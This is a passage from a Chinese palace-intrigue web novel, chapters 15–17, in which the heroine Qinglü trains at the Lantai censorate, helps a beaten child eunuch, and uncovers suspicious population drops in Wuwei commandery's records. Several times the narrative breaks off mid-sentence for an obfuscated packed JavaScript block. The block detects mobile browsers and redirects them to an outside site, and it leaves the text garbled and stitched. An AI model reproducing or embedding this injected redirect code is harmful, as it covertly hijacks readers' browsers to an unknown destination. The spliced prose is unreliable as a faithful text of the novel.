玉嬷嬷忙扶着她,轻轻替她拍着后背:“太后娘娘别累着了。” 太后笑道:“不碍事,咳得恨些我反觉着身子通透。你再给娃娃带上两盒茶点,看今日撑不死她。” 青绿一脸贪婪道:“玉嬷嬷,有那豌豆黄给我来一盒,太后这里的吃食楞是比旁人的好。” 太后待青绿拎着食盒离开了自己的视线,扭头朝身后唤道:“虫子。” 方才给青绿传懿旨的招风耳叶宦官从暗处走了出来。他是太后的贴身侍卫。 叶虫子命苦,亲娘是大月氏人,战败被汉军掳掠,没入掖庭时已怀有身孕,生下他后便去世了,将他留在掖庭自生自灭。 五岁那年的一个冬日,几个小宦者骗他说,割了小鸡鸡便能跟着殿里的主儿吃香喝辣。他信了,由着他们用钝刀切了命根子。 喷涌而出的鲜血淌在皑皑白雪上甚是触目惊心,小宦者们吓得四散而逃,丢下他奄奄一息躺在雪地里,巧的是,拣僻静处散心的太后正好看到这一幕,命将几个小宦者逮到掖庭狱,然后送叶虫子去龙华寺学了几年武功,学成归来便一直跟着太后。 太后微眯着双眸,对叶虫子道:“兰台那些个侍御史,从上到下皆唯皇帝昭从,这娃娃绝顶聪明,往后多留意着些,看能否为哀家所用,不能再让兰台那儿连风都透不出来。” 叶虫子道:”奴才明白。”躬身退下。 15. 第十五章 计谋 青绿微侧着身子,吃力地提着一个大食盒向鸣鸾殿走来,远远看见院里的槐花树下,齐姑姑正在与一名老宦官喝茶。 一簇簇洁白的槐花重重叠叠悬垂着挂满了树枝,空气中弥漫着淡淡的素雅的清香。 青绿将食盒搁在石凳上,对齐姑姑福了一福:“青绿见过齐姑姑。”转身对着老宦官,笑脸却朝着齐姑姑。 齐姑姑介绍道:“这位是王内侍,擅长穴道按摩,人称飞花拂穴手。” 青绿方转头对王内侍作揖:“青绿见过王内侍。” 王内侍点点头,算是回礼。 齐姑姑道:“姑娘有否空闲坐下喝杯茶?” 青绿在石凳上坐下,安静地看齐姑姑煮茶。 齐姑姑将三只玲珑紫砂茶杯摆成品字形,手持精巧的紫砂茶壶沿着三个茶杯一圈圈循环斟沏,三四圈后,将壶中所余斟于每一杯中。 她放下茶壶,双手捧着一杯茶递给老宦官,笑道:“有劳王内侍亲自来教导秀女,按摩不比琴棋书画摆在明处,那暗里的穴位全靠您提点。” 王内侍将茶杯举在嘴边轻轻啜了一口,慢悠悠道:“有心想学也能慢慢悟出,终究有大用处。” 齐姑姑道:“此话在理,天子日理万机总有个筋骨劳累之时,可惜秀女们都奔着能一展才情的琴棋书画而去,鲜少愿意探究侍候人的手艺。” 齐姑姑递给青绿一杯茶,这才笑道:“姑娘去了兰台便不再露脸,今日是啥风把姑娘给吹来了?” 青绿忙起身道:“每日在兰台背条文,足不敢出户,今日借着太后召见拐到此处向姑姑道谢。”言罢,敛衽对齐姑姑施了一礼,“谢姑姑举荐。” 齐姑姑笑着摆手:“不值一提。姑娘来此不单是为了谢我吧。” 青绿面露羞涩:“姑姑慧眼,我想姐妹们了。” 齐姑姑一脸早已看穿你的表情:“去吧,钟离梨在乐室。” “谢谢姑姑。”青绿快乐之情溢于言表,将手中的茶一饮而尽,行了告别礼,三步并作两步朝乐室走去,忽又转头指着篮子,“太后赏给教习室的烤乳猪。” 王内侍慢慢斟着手中清茶,望着青绿的背影道:“这丫头懂礼,不似别的秀女,长着一双狗眼。” 齐姑姑点头赞同:“便是这理,那等仗势欺人的,我也不能荐去兰台,没的将来仗着手中特权霍霍百姓。”打开散发出阵阵浓郁香味的食盒,看着色泽金黄的烤乳猪欣然发出邀请,“不如小酌一杯,我这儿有上好的桂花酒。” 老王瘪着无牙的嘴笑道:“要得。” 青绿踏进乐室,展眼四顾,便看见了秀女丛中正在拨弄瑶琴的钟离梨,兴奋地大声唤道:“梨子。” 钟离梨应声抬头,看见青绿,愣了一愣,随后起身快步与不知从何处冒出来的汤圆一前一后扑向她,三个姑娘嘻嘻哈哈搂在一起,引来其余秀女嫉妒厌恶的目光。 青绿甚感不安,伸出食指在唇边做了一个噤声手势,三人六只眼睛对视一下,勾肩搭背离开乐室来到室外草坪上。 钟离梨伸手捏了捏青绿的脸蛋笑道:“咦?白了好些,我以为你天生便长得黑呢。” 青绿啐道:“呸,你才天生长得黑,你全家天生都长得黑。” 从怀里掏出两个胭脂盒分别递给二人:“也不知你们日常用的什么牌子,不合意只当作个摆设。” 钟离梨摩挲着光滑的盒盖,看着上面的印记玩味道:“红妆阁的胭脂,你是来我们面前摆阔的么?” 汤圆惊讶道:“红妆阁?那可是长安城内数一数二的脂粉铺。” 钟离梨扮了个鬼脸道:“姹紫每日用红妆阁的螺子黛画眉毛,画完必会大声问一句‘今日我的眉画得润不润?’便有她身边的跟屁虫回道:‘红妆阁的螺子黛,最配姹紫姐姐的柳眉’。” 她学得活灵活现,青绿和汤圆捂着肚子笑倒在地。 青绿撇眼看向汤圆,见她迫不及待打开盒盖,用食指指尖抹了一些便要朝自己脸上涂,忙拦住道:“找个有镜子的地方再抹,没的抹成大花猫吓人。” 汤圆拿着胭脂盒子,竖着指头满心欢喜地朝舞室走去,那里有一排落地大铜镜。 青绿待她走远,这才嬉皮笑脸地对钟离梨道:“梨子,这红妆阁的胭脂是用来收买你的。” 钟离梨白了她一眼:“事出反常必有妖,说吧,何事?” 青绿敛了笑容,对梨子正色道:“我要查浣衣室的一位嬷嬷,约莫五十上下年纪,脸瘦长,两眼眼距较宽,看长相应该是岭南人。我现在虽在宫内,却无法进入后宫,只能拜托姐姐了。” 钟离梨对她要找浣衣室的嬷嬷,并未显出任何惊奇,只是平静道:“这个应该不难,近段时日有织衣室、浣衣室的嬷嬷来训导我们。待我得了准信便告诉你。” 青绿脸上有些迟疑:“你也不问问缘由?” 钟离梨看她一眼,神情凝重:“能说的你自然会说,你入宫便为了此事吧。” 青绿长叹一声:“梨子,你最懂我。” 一些人,相处一辈子,或许只是相识却无法相知,一些人,只见一面便能相见如故,或许这便是缘分。 离了教习室,青绿一溜小跑回到兰台。如今她跟管胖子勤学苦练飞剑术,管胖子盯得紧,不给她任何喘息时间,还美其名曰说是奉师命看管她,以免她在宫内四处作妖。 瓜老头基本上神龙见首不见尾,青绿来了好些日子,仅在兰台见过他一次。 那日,青绿将须得他拍板定夺的公文捧到他书房,他头也不抬地问:“看完书房的简牍了?” 青绿老老实实答:“看完了,但记不大全。” 瓜老头顶着一成不变的冰块脸将她带至南面的库房,打开居中的一间,青绿看见地上堆着一摞一摞的简牍,瓜老头面无表情对她道:“这是近年所办案件的档案,你分类整理,按目录上架。” 青绿很是后悔,恨不得咬掉自己的舌头,为何要答“已看完”?都看完了,这顶头上司岂是那养闲人的?肯定得给她找活干啊。随后又想,即便答了“没看完”,这魔头估计也是要安排她整理档案,摆明了他蓄谋已久要逮一个傻子来干活。 她谨慎小心问道:“我没有整理过档案,有不明白之处,我该问谁?” 瓜老头冷冷道:“问不着,管档案的吏员殁了。有不清楚的到里间查看,参照整理。” 青绿心里暗暗叫苦:可怜的吏员肯定是干活累死的。 瓜老头咣的一声将一大串青铜钥匙扔到她脚下:“这里是密室,除了我其他人进不来,你进来要反锁门,出去要检查是否已上锁,如有失泄密,小心你项上人头。”他直直看着青绿,眼神并不冷陌也不咄咄逼人,但就是有一种令人无处遁形的犀利。 青绿顿觉如履薄冰。 出门前瓜老头又撂下一句:“别四处乱碰,周围都是机关。” 青绿耸耸小肩膀,自认倒霉。 整理档案也便罢了,如今青绿到兰台比之前还要早得多,当值前要淋完黄瓜,再跟着管胖子练半个时辰飞剑。 青绿敢肯定兰台人有收徒的不良嗜好,不然为何个个如此好为人师?只要是个人,逮住她便要收她为徒,至少东院的人是这样。 管胖子不辞劳苦早早过来盯着青绿练剑,这死胖子一边教她稳准狠的要诀,一边絮絮叨叨地聒噪:“一是盘子要稳。马步,扎马步。”胖乎乎的熊掌一下拍在青绿肩膀上。 “哎哟。”青绿被拍得眼冒金星,忍不住痛呼出声,感觉自己成了拍黄瓜,只差加入蒜泥搅拌了。 “二是眼力要准。喏,目视前方,你只当前方有人与你争抢一位盘靓条顺的二八佳人,你得瞄准他心窝,然后狠狠地来这么一下。”抬手做了个挥剑动作,“一定要一击便将对手置于死地,否则他喘过气来,不但夺了你娘子,恐怕连你儿子都得叫他一声爹。” 青绿无奈停下手上的动作,翻了个白眼道:“管大师,这都什么跟什么呀?你家美貌娘子八成都是这么强抢来的。” 管胖子咧嘴笑出两个深深的酒窝:“丫头可不许胡说,我家大娘子,是我办案正巧办到岳父的仇家头上,她说我押着人犯离开的高大形象好不风流倜傥,便死乞白赖地要嫁给我。另外几房小娘,一个是逃荒的难民,一个是才卖进青楼的雏儿,我见她们可怜便都留下了。” 青绿不屑道:“乘人之危。” 管胖子只当没听见,兀自顺着思路继续道:“嗯,还有一个是陛下赏赐的宫人。她们都长得腰是腰臀是臀。”用手比划了一个前翘后凸的形状,“我都喜欢,为此大娘子没少给我脸色看,唉,如她们能生下个带把的,我便死也瞑目了。” 青绿横他一眼:“你还教不教了?”扭头便要离开。 胖子涎着脸拦住道:“丫头,这不是在教么?”见她如水的双眸盯着自己,有些尴尬,忙掏出一迭十柄薄如蝉翼的短剑递过去,不无讨好,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457169|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是专门给你打造的,比我的轻便些,但你仍要用我的剑来练,先难后易,真正使用起来方能得心应手。” 青绿裂嘴一笑:“谢谢师傅,不,谢谢师兄。” 管胖子大度地一挥手:“免谢。” 青绿微眯双眸,在管胖子指挥下一遍一遍甩着飞剑。 忽然“哐啷”一声,有铜壶撞击青石板的声音,青绿被吓了一跳,站在她对面的管胖子脸上瞬时阴云密布,随后身形一闪跃到她身后。 青绿忙回头,看见打杂的小宦者石头跌倒在地,一只铜壶被摔到一旁。 管胖子一边对石头拳打脚踢,一边嘴上骂骂咧咧:“与你说了多少回,进了西院不要发出奇奇怪怪的声音,你是聋了还是哑了。” 瓜老头及管胖子最讨厌嘈杂,瓜老头还好,惹恼他最多吩咐陆叔扣去几吊月钱,管胖子却不管是谁,上去便赏一顿拳脚,故东院的小鸟或秋蝉没少遭他毒手。 小石头用手抱着肚子,口鼻流血却不敢吭声。 青绿忙跑过去用肩膀狠命撞了一下管胖子:“再打,便出人命了。” 管胖子气呼呼道:“无根的贱人,这点小事都做不好,留着何用?” 青绿大声道:“都是人生父母养的,再贱的命也是命。” 胖子瞪她一眼,他对小姑娘凡事与人讲理的性子不以为然,却又无法驳她,悻悻然拂袖出了西门。他讨厌宫里这些阉人,自己几房娘子都生不出个带把的,宫里这些带把的却要自己切去把把,每每见了他们,便恨不得将自己气死。 青绿去扶倒在地上的石头。 这是一个圆头圆脑还没长大的孩子,他在地上坐了好一会方才挣扎着站了起来,低垂着脑袋对青绿小声道:“奴才谢过主簿大人。”蹒跚着便要离开。 青绿见他鼻子在往下滴血,便对他道:“你跟我来。” 进了书房,青绿让他坐在椅子上,他不敢,青绿道:“你站着太高,我无法替你止血,血流多了会死的。” 他双腿一屈跪在地上。 青绿无奈,只得让他仰着脑袋,叮嘱他:“不许动。”去寻出两块丝帕,一块浸了冷水给他敷在额头上,另一块拿在手上细心给他擦去脸上的血污。 小石头身子颤抖,泪流满脸。宫里的人从不把他当人看,只当他是路边的一块石头,高兴踢上几脚不高兴便掷到别处,被打被骂如吃饭穿衣般稀松平常,甚至比吃饭还要多些。 青绿见他拚命缩着身子,实在是紧张得不行,便有一搭没一搭地问他:“家在何处?”、“家里有何人?”、“今年多大了?” 石头从青绿语气里感觉出她的善意,害怕的心情去了七八分。 他断断续续告诉青绿,家在城北郊外,有四个弟妹,他是老大,今年满十岁。几年前,家里青黄不接,爹娘要把两个不满周岁的妹妹扔掉,他苦苦哀求,说宁愿将自己卖进宫里。他进宫虽然受苦,但能按月领月钱,能让一家人不至于在青黄不接之时饿死。 石头感激地对青绿道:“谢主簿大人救命之恩,我不怕死,但不能死,我一死,两个妹妹也还是要被卖掉。” 青绿感觉自己的鼻子发酸,背转了身子。原以为自己逃难时所受的苦已是苦难中的天花板,但人间的疾苦仍是超出了她的认知范围。 她平抑了一下心情,想了想,对石头道:“从现在起,我每日教你认十个字,有用得着的一天。” 石头闻言腾地站了起来,头上的丝帕啪地一声掉落在地,眼底现出一抹光亮:“主簿大人,真的么?我真的能跟大人认字?” 识字宦者能做到管事一级,他日常煞是羡慕。 青绿点头,尽量将语气放轻柔:“往后你唤我姐姐,我比你大不了多少。” 石头犹疑片刻,小心翼翼道:“遵令,主薄姐姐。” 青绿伸手拍拍他脑袋:“翌日起,每日早上你到东院干完杂活,我教你认字,记住,万万不可声张。” 石头扑通跪下给青绿叩了三个响头,额头瞬间渗出几丝血渍。 青绿忙道:“你起来,别动不动给人叩头,便要叩头也要悠着点,别拿着头不当头,你当是练铁头功么尽往死里嗑。” 小石头才站起身,却突然一拍脑袋道:“糟了。”他双腿一弯,跪下又噗噗噗噗地给青绿叩起头来,“奴才该死,忘了告诉主簿姐姐,菡萏池那边有位漂亮姐姐要见你。” 青绿心内一动:莫非梨子有消息了? 16. 第十六章 文渊 青绿三步并作两步去了菡萏池,便见一名女子背对着她静立池旁,长可曳地的一袭月白色湘绣曲裾,上衣紧窄,下裳呈喇叭状,腰系一条深红色腰带,更显得全身凹凸有致,端的是清水出芙蓉,人比花美。 青绿有些迟疑:是她? 听见脚步声,女子转过身来,东宫舍人萧文渊。她对青绿福了一福,轻轻柔柔道:“青绿妹妹好。” 青绿回了一礼,不卑不亢道:“文渊舍人光临,有何指教?” 在宫里混了一段时日,她也学乖了,轻易不去得罪那些个标杆啥的,保持一定距离便很好,不然别人只会指责她没教养。 文渊笑脸温柔:“妹妹进宫数月,我这边也不太方便进出,没能来看望妹妹,这里给妹妹赔个不是,望妹妹见谅。”言罢颔了颔首。 青绿眨眨眼,心道:若不是因为小哥,估计你都懒得看我一眼吧,因皮笑肉不笑道:“姐姐心意我领了,若无甚事,告辞。”回身要走。 文渊忙拦住她:“妹妹请留步。”袖中取出一卷简牍递给她,“有一事相求。” 青绿并未去接,眼含疑惑问道:“为何不去求六殿下?” 自从知道了小哥的六皇子身份后,青绿心里总觉得别扭,有一种说不清道不明的怕遇见他的尴尬,好在也无甚机会碰面。 文渊坦诚道:“我不想让他知晓。” 青绿不解,看看立在面前的标杆,不免又生出一股恶趣味,口无遮拦地戏谑道:“你不会是给六殿下戴了绿帽,来求我帮你毁尸灭迹吧?话说在前头,杀人越货的事我干不了。” 文渊脸色微微泛红,心里有些脑:这丑丫头,真真是满嘴跑马车。脸上却还得陪笑道:“妹妹说笑了。”将简牍翻开递到青绿面前,“妹妹,这是凉州武威郡今年考课呈送的计簿。” 考课即官吏绩效考核,采用“上计”制,即各县每年将统计户口、垦田、赋税、盗贼、狱讼的计簿上报郡国,由郡国汇总后上报朝廷。丞相府抽调中都官组成考课组进行实地考核。 郡国上报的计薄需一式两份,分送尚书台和兰台,尚书台依据考课组结论评出官员考课等级,分为上、中、下三等,兰台核实后报皇帝御批。凡中等以上者可升职加薪,下等者则被降职罚禄。 青绿近段时日也在埋头翻看各郡计簿。管胖子说,若想了解基本国情,最便捷的方式是看计簿,而掌握基本国情是履行监督职责的基础。 她敛起脸上的吊儿郎当的表情,正色道:“计簿有问题?” 文渊道:“日前公子对我说,武威郡今年的人口比上年有所减少,但不说明原因,问是否尚书台誊错了。我原应即刻去核实的,因忙别的事给耽搁了,待想起时,尚书台负责上计事务的吏员说官员等级已经评定,所有计簿均已封存。” 青绿点头:“确是如此。” “因想起兰台也有计簿,便过来请妹妹看看我这本计簿是否有误?”文渊摊开手上拿着的计薄。 这是一本誊抄本,为了让皇子们了解国情,熙元帝令尚书台将郡国每年呈送的计簿誊抄一份给他们传阅。 青绿见她一脸诚恳,便接过计簿道:“外人不能进兰台,有劳姐姐在此等候片刻。” 文渊点头道:“那便劳烦妹妹了。” 青绿拿着计簿回到书房,迅速翻查到凉州武威郡的卷宗,两相比较,数据并无不同,遂出门将计簿还给文渊:“数据都是一样的。” 文渊双手接过计簿:“谢谢妹妹。” 青绿扬了扬眉道:“小事一桩,不足挂齿。” 文渊似乎想与她交谈一二,见她神色淡淡的,便告别而去。 青绿目送她的背影淹没在荷花丛中,有些感慨:这绝色美人明明可以靠颜值吃饭,偏偏要靠才华,有颜值有才华便罢了,却还无比努力,还有好到爆的家世加持,让我等小女子情何以堪? 突然,她脑子里冒出一个大大的问号,武威郡人口减少为何没有说明原因?急转身回了书房。 却说萧文渊回到东宫,经过博望苑,听见里面传出嬉笑声,不由略略放慢了脚步。 便听一个软糯的声音娇喘着道:“殿下,奴婢不行了,小腰要折了,放过奴婢吧。” 文渊听得不是滋味,蹙了蹙眉进了书房,回身将房门重重一关,坐下怔怔发呆。 一名宫人推门而入:“萧舍人,殿下方才问你回来没有。” 文渊迅速整理好脸部表情,微笑着走进博望苑。 博望苑广庑高轩,朱漆廊柱,雕梁画栋,是接待宾客的大厅。 便见刘睿闲闲靠坐在垫着丝绸褥子涂着金漆的紫檀木高背椅上,手上拿了一根纤细的青竹杆,对着面前十几名正在劈叉的美貌宫人指指点点:“你,双腿要直,还有你,腰背要挺。”一杆子朝一名头朝前倾的宫人抽过去,“目视前方,头尽力后仰。” 宫人负痛,努力将脖子向上拉伸。 内中一名身段柔软仿若无骨的紫衣美人,两条大长腿紧贴地面摆一字马状,纤腰后弯,后足弯曲抬起,雪白足跟贴至前额,姿势甚是销魂。饶是见惯了美人的萧文渊看得也有些发呆。 紫衣美人保持不变姿势,片刻后放下后足,平身,露出一张明媚笑脸,唇边一颗小小美人痣,对刘睿娇声软语道:“殿下,奴婢真的是不行了。” 刘睿笑着站起身:“都起来吧。”一手去扶紫衣美人盈盈一握的柔软小蛮腰。 紫衣美人就势不胜娇羞倒进他怀里,闭上双目。 她是伏波将军马援德的嫡孙女马璨璨,已经皇后点头名正言顺列为东宫储妃,只缺一个封妃仪式。 文渊仿若无视,脸上水平如镜,微笑着对刘睿道:“想必是公子的《恩泽》舞曲已成,开始训练了吧。” 刘睿精通音律,弹得一手好琴,还能谱曲。文渊有时会想,若不是生于帝王家,公子或许能够谱出流芳千古的乐曲。 刘睿笑着放开紫衣美人,对文渊道:“父王大寿将至,什么礼物于父王来说都不稀罕,不如献上一首自己作曲的舞曲。”朝众宫人一摆头 ,“都下去吧,每日照此练习,一旬之后配乐。” 文渊对马璨璨看向自己的哀怨而又忿忿的目光无动于衷,脸上始终保持着微笑,相对于自己不清不楚的舍人名份,马璨璨的地位实际在她之上,对此她既无奈亦尴尬。 刘睿板着脸问文渊:“刚去了何处?说好的由你来训练这群木头宫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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猛不丁地,他一把捏住文渊的右肩,审视着她的眼睛:“不对,你在东宫,应去尚书台核对才是,为何舍近求远去西头的兰台?你去寻小二的麻烦了?”他以为文渊与青绿不对付,找机会给青绿难堪。 文渊顿感右肩生疼,一时泪水盈眶,用力挣了一下却挣不开。 刘睿极少给她脸色看,今日这个举动让她一下慌了神,忙将面见青绿之事从头到尾详细说了一遍。 刘睿听她说完,松开手道:“往后没事不要去兰台。” 文渊点头,抚了抚肩膀,小声道:“公子为何如此照顾青绿姑娘?” 刘睿道:“他大哥凡不凡是我的伴读,我自然得照顾她些。再说她一个野丫头突然被弄进宫里,依她的性子,断不了生出事端。说起来这孩子便是个奇葩。” 文渊顿时来了兴趣:“公子快说,怎么个奇葩法?” “凡府聘大师教导子女经学,又聘宫里外放的教引嬷嬷教言行举止,小二说自己才不要学这些个劳什子,学得越多便要干得越多,累的累死,闲的闲死,若将来让她守着灶台,一手煲靓汤,一手做女红,还活个什么劲?” 文渊笑问:“她为何称公子为小哥?”这个问题她憋了很久,刘睿不主动说她也不敢问。 刘睿眼底都是笑意:“她走失之前,有一次爬到松树的高枝上去掏鸟窝,不小心摔了下来,我那日首次被邀请到凡府作客,手急眼快,抢先一步跑过去把她接住了。凡不凡问她知道我是谁么,她说‘驿站的快递小哥呗,他跑得哪么快。’我也没让凡不凡纠正,叫我小哥挺好。” 文渊笑得伏在刘睿的肩头喊了一声“小哥”。 17. 第十七章 发现 萧文渊的一声“小哥”,令刘睿脸上的笑意更浓,难得在文渊面前现出少有的耐心:“也就是小二,没心没肺。” 或许小二从不知道他是皇子,他可以在她面前放下一切伪装,也放下了每日绷得紧紧的神经,偶去凡府,必与小二一起干些体力活,给小鸟筑巢,给老龟垒窝,冒着烈日搭花架给地里的小蚂蚁遮阳。 文渊温山软水看着刘睿,语气里带了些许羡慕嫉妒:“我从树上摔下来的时候怎么没赶上公子相救?否则今日亦可恃宠而娇。”笑意盈盈地又补了一句,“应是恃宠而妖方贴切。” 青绿不娇但挺能作妖,她领教过。 刘睿脸色一凛:“最烦你们后宫人子,说话句句不离‘宠’字。你真当小二恃宠而娇?她压根就不知‘宠’为何意,喜欢便是喜欢,不喜欢便是不喜欢。”脑海里掠过那张黑黑的小脸及粗糙的双手,“她从不向人提起自己所吃的苦,如是旁人,早仗着两后怜悯兴风作浪了。” 文渊后悔自己失言,忙道:“公子,我不是那意思。”唉,儿时词不达意,大了言不由衷。从书桌上拿过一封尺牍,岔开了话题,“山尚学宫送来的期会礼札。” 山尚学宫集讲学、著书、辨论于一体,享有“不治而议”的特权,是百家争鸣的重要场所。 当朝天子刘芳独尊儒术。太学实际上是传授和扩散儒家五经的渠道,士子如想入庙堂谋得高位,须经太学课试。 但他并未将非儒的路子全部堵死。世间事皆如此,没有与之匹敌的竞争对手, 仅一家独大,反而失去自我完善的压力和动力,故他明智地保留了民办的山尚学宫的各种特权,与官办的太学互为磨刀石。 任何学派均可在学宫开坛授徒,亦可进行自由辩论,先生们“喜议政事”,弟子亦朝这个方向培养,期会,便是山尚学宫定期为弟子们举办的演讲争霸赛,由各学派掌门牵头,其中又以三位山尚先生牵头的期会声誉最高,在其中夺头筹者获封状元。 期会辩论虽是高谈阔沦,但其中不乏切合时弊的政治主张及治国良策。刘睿常潜水其中,以增加自己的头脑风暴。因问文渊:“哪个学派的期会?何人主持?” “兵家,孙穰苴大师主持,月底举办,要去么?”萧文渊小心道。 刘睿点头道:“去。” 他是孙粉,崇尚男儿以马革裹尸还葬的铁血,常感慨如今和平日久,文官治国,连江湖也受了牵连,成了娘娘腔的江湖,故他不会错过到孙穰苴门店打鸡血的机会。 却说青绿对武威郡人口减少存疑问,便决心去弄个明白,她回到书房,拿青铜钥匙开了库房门,取出武威郡去年的计簿,比对去今两年人头数,今年确是少了七百一十人,无任何相关说明,不说明便是自然减员。 她索性将武威郡近五年的计簿全摊开摆在地上,列出表格,发现头两年的人口数增减波动不大,后三年每年人口减少六百以上,单看每年的数额也不算大,但三年累积起来,足足减少一千九百三十七人。 武威郡辖十县,地广人稀,若非天灾或战事,一般而言人口数会保持平衡,每年自然增减也不过一二百人,且应是有增有减,只减不增不合常理。 各县计簿不单独上报,由属郡集齐统一上交后移交石渠阁存档。青绿一不做二不休,去了一趟石渠阁,查阅武威郡所辖十县近三年的计簿。 这一查便发现,近三年人口减少最多的是郡治所在的姑藏县,共减一千七百五十四人。一个户数两万多,人口十万左右的县,每百人便去了将近二人,而邻县人口却是增加的,其中肯定有假。 青绿瞬间有些小激动,为自己发现了问题,这算不算入职开门红? 青绿用带来的书袋将这部分计簿借了回来,提着先去了管胖子书房,门未锁,人不在,应该在隔壁瓜老头的书房,她脑子飞速转了一会,壮胆敲响隔壁虚掩着的房门,唤道:“师傅。” 无人应答,她豁出去推门而入。 董清辉从不回应敲门声,因为从来无人敢不经预约而上门。 内室,一胖一瘦二人转头朝她看来,瘦的目光阴郁,胖的庞大身躯摊在太师椅上,一副肥得自由自在的闲适状态。 青绿先朝管胖子投去乞求一眼,意为自己如遇不测望出手相救。 这死胖子装眼瞎,低头自顾欣赏肥胖熊掌,一副擅闯者死了不关我事的模样。 青绿死心,抱着伸头一刀缩头也是一刀的壮烈,不待瓜老头发问,哗地一下将书袋里的计簿全倒了出来,觑着他脸色小心亦亦道:“师傅,武威郡近年人口减少不合常理。” 在瓜老头面前说话,必须想好了再说,一旦被他反问答不上来,会无地自容。 瓜老头面沉如水,撇了她一眼,唇不动而发声:“如何不合常理?” 青绿将表格摊在瓜老头面前,胖子勉强从太师椅上抬起肥胖身躯,胖脑壳也凑了过来。 青绿声带有些发紧:“我查了武威郡五年来的人口数,最近三年都在减员,累积起来共减一千九百三十七人,仅姑藏县便减一千七百五十四人,无任何说明。” 瓜老头脸上古井无波,眼皮都不带抬地发问:“然后呢?” 青绿一顿,心里开始发凉:“什么然后?” 瓜老头冷哼道:“哼,发现问题不想办法解决,等于放屁。” 青绿被噎得愣在当场,心里狠骂自己:凡主薄纯是狗逮耗子多管闲事。 管胖子看着她的囧态,歪了歪嘴角,对瓜老头道:“凉州刺史从来没有提到这个。”武威郡属凉州刺史部。 瓜老头语气冰冷:“或许被蒙蔽,又或许同流合污。” 管胖子嘲道:“我说这几年西北面上为何如此平静,原来都与乐司坊的姐姐一般,人均一丈长腿、大奶、仙女面容,丑的已被过滤掉了。” 乐司坊是官办妓院的统称。 青绿想笑,终究是不敢。 管胖子坐直身子,正色道:“师傅,方才还在考虑派谁去查都护府克扣军饷事,不如这样,请旨我跑一趟武威,上计这一块是得好好查一查了。” 瓜老头道:“也罢。都护府你视情决定,监军御史萨国武是个有责任心的。”沉吟片刻,“带上这丫头。” 管胖子脸露难色:“她还是只菜鸟,带去添乱么?师傅您老揠苗助长啊。” 瓜老头脸上仍是千年不变的死鱼状:“你不带谁带?”似乎这个徒弟与已无关。 二人全当青绿是小透明。 青绿在心里摆烂,兰台大佬我才不与你们计较,爱咋咋的,反正计较也没用。脸上神情却如打了鸡血般兴奋:“师兄,便穿着你这身昂贵绣衣,举着皇帝御赐的符节,沿途游山玩水观赏民俗。” “你个小菜鸟,光想好事。” 管胖子笑骂。 青绿脸上写着不服:“书上便是这么写的‘绣衣侍御史,持节,观览风俗,所至专行诛赏’。” 瓜老头难得地咧嘴一笑,脸上皱纹能夹死苍蝇,简直比哭还难看。 管胖子一脸苦大仇深地对青绿道:“准备好行囊,御旨一到便出发。” 青绿答应着退出书房,心里却有些踌躇,这趟办差没有几个月回不来,自己的事恐怕得先放一放了。 管胖子站起身,对董清辉道:“师傅您眼光真毒,这丫头是块干监察的料,能在纷繁中敏锐地抓住主线。” 董清辉不置可否:“是骡子是马拉出去溜溜才知道。” 青绿沉思着跨出大门,不留神与一个进门的人撞了个满怀,便听“啊”地一声女子尖叫,夹杂着嘭的一声罐子落地的声音,一只陶罐碎裂开来,撒落一地的面条。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457171|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 被撞的是一个年纪与她相仿的女子,腰上别着一把小木剑,一袭翠霞长裙,麦色脸庞上,大大的淡棕色的眼眸,高鼻梁宽鼻翼,大而薄的嘴唇,五官分开看并不差,但组合在一起便显得有些寡淡。 寡淡女子看着一地狼籍,抬头瞪着青绿大声嚷嚷:“哪来的野丫头到处乱窜,不长眼的么?” 青绿有些发懵,这女子才是不知哪来的野丫头吧,但打翻了人家的食盒终究不占理,因脸有愧疚对她道:“抱歉,我不是有意的,这样吧,我赔你。” 女子气愤道:“赔,你赔得了么?这可是我娘给爹做的长寿面,你如何赔?” 青绿一脸诚恳:“你说如何赔?” 女子上下打量了一下青绿,黑黑瘦瘦的小姑娘,比自己还矮了一头,一身淡青色常服,与宫里衣着鲜艳的女子差得不是一两个档次,脸上便显出了鄙夷,嘴里嘟囔道:“把你卖了也不值几个钱。” 她忽然眼前一亮,青绿的裙边压着一个禁步,几串小巧雅致的璀璨玛瑙在阳光下摇曳生辉。 女子指着禁步道:“这个还勉强。” 青绿二话不说,将禁步摘下递给女子。 女子爱不释手,握在掌心轻轻摩挲。 青绿道声:“抱歉,告辞。”转身便走。 女子大大的棕色眼眸一瞪:“等等,我没说这玩意值当。” 青绿停下脚步,脸上现出疑问:“你待如何?” 女子指了指她腰间用彩丝绦串着的一个精致羊脂白玉佩道:“搭上这个还勉强。” 她向青绿讨要禁步,见青绿眉头都不带皱的,便猜想禁步不值钱,更值钱的应该是用彩丝绦串着的这件配饰。 果然,青绿见她指着玉佩,忙道:“这个不能给你。” 女子道:“不给也行。”眼珠子一转,面带嘲弄,“你把地上的面条捡起来吃完。” 青绿有些来气,冷笑道:“你是哪家姑娘?口气不小,便是我愿意送你,你敢要么?” 女子不屑道:“没啥敢不敢的,本姑娘连行走江湖都敢,区区一块玉佩我还不敢要了?” 未待青绿反应过来,她竟一把将玉佩从青绿身上扯了下来。 